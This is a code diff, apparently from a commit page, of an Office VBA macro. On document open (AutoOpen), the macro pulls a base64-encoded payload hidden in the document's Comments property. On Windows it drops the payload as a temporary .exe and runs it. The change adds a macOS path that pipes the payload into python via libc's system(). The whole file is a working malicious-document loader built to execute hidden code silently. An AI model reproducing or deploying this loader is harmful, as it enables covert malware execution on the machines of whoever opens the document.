1
+ Public Declare PtrSafe Function system Lib "libc .dylib " (ByVal command As String ) As Long
2
+
1
3
Sub AutoOpen ()
2
4
On Error Resume Next
3
5
Dim found_value As String
@@ -6,17 +8,31 @@ Sub AutoOpen()
6
8
If prop.Name = "Comments" Then
7
9
found_value = Mid(prop.Value, 56 )
8
10
orig_val = Base64Decode(found_value)
9
- Set fso = CreateObject("Scripting.FileSystemObject" )
10
- tmp_folder = fso.GetSpecialFolder(2 )
11
- tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
12
- Set f = fso.createTextFile(tmp_name)
13
- f.Write (orig_val)
14
- f.Close
15
- CreateObject("WScript.Shell" ).Run (tmp_name)
11
+ #If Mac Then
12
+ ExecuteForOSX (orig_val)
13
+ #Else
14
+ ExecuteForWindows (orig_val)
15
+ #End If
16
+ Exit For
16
17
End If
17
18
Next
18
19
End Sub
19
20
21
+ Sub ExecuteForWindows (code)
22
+ On Error Resume Next
23
+ Set fso = CreateObject("Scripting.FileSystemObject" )
24
+ tmp_folder = fso.GetSpecialFolder(2 )
25
+ tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
26
+ Set f = fso.createTextFile(tmp_name)
27
+ f.Write (code)
28
+ f.Close
29
+ CreateObject("WScript.Shell" ).Run (tmp_name)
30
+ End Sub
31
+
32
+ Sub ExecuteForOSX (code)
33
+ system ("echo """ & code & """ | python &" )
34
+ End Sub
35
+
20
36
21
37
' Decodes a base-64 encoded string (BSTR type).
22
38
' 1999 - 2004 Antonin Foller, http://www.motobit.com
@@ -27,31 +43,23 @@ Function Base64Decode(ByVal base64String)
27
43
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
28
44
Dim dataLength, sOut, groupBegin
29
45
30
- 'remove white spaces, If any
31
46
base64String = Replace(base64String, vbCrLf, "" )
32
47
base64String = Replace(base64String, vbTab, "" )
33
48
base64String = Replace(base64String, " " , "" )
34
49
35
- 'The source must consists from groups with Len of 4 chars
36
50
dataLength = Len(base64String)
37
51
If dataLength Mod 4 <> 0 Then
38
52
Err.Raise 1 , "Base64Decode" , "Bad Base64 string."
39
53
Exit Function
40
54
End If
41
55
42
56
43
- ' Now decode each group:
44
57
For groupBegin = 1 To dataLength Step 4
45
58
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
46
- ' Each data group encodes up To 3 actual bytes.
47
59
numDataBytes = 3
48
60
nGroup = 0
49
61
50
62
For CharCounter = 0 To 3
51
- ' Convert each character into 6 bits of data, And add it To
52
- ' an integer For temporary storage. If a character is a '=', there
53
- ' is one fewer data byte. (There can only be a maximum of 2 '=' In
54
- ' the whole string.)
55
63
56
64
thisChar = Mid(base64String, groupBegin + CharCounter, 1 )
57
65
@@ -69,18 +77,14 @@ Function Base64Decode(ByVal base64String)
69
77
nGroup = 64 * nGroup + thisData
70
78
Next
71
79
72
- 'Hex splits the long To 6 groups with 4 bits
73
80
nGroup = Hex(nGroup)
74
81
75
- 'Add leading zeros
76
82
nGroup = String (6 - Len(nGroup), "0" ) & nGroup
77
83
78
- 'Convert the 3 byte hex integer (6 chars) To 3 characters
79
84
pOut = Chr(CByte("&H" & Mid(nGroup, 1 , 2 ))) + _
80
85
Chr(CByte("&H" & Mid(nGroup, 3 , 2 ))) + _
81
86
Chr(CByte("&H" & Mid(nGroup, 5 , 2 )))
82
87
83
- 'add numDataBytes characters To out string
84
88
sOut = sOut & Left(pOut, numDataBytes)
85
89
Next
86
90
0 commit comments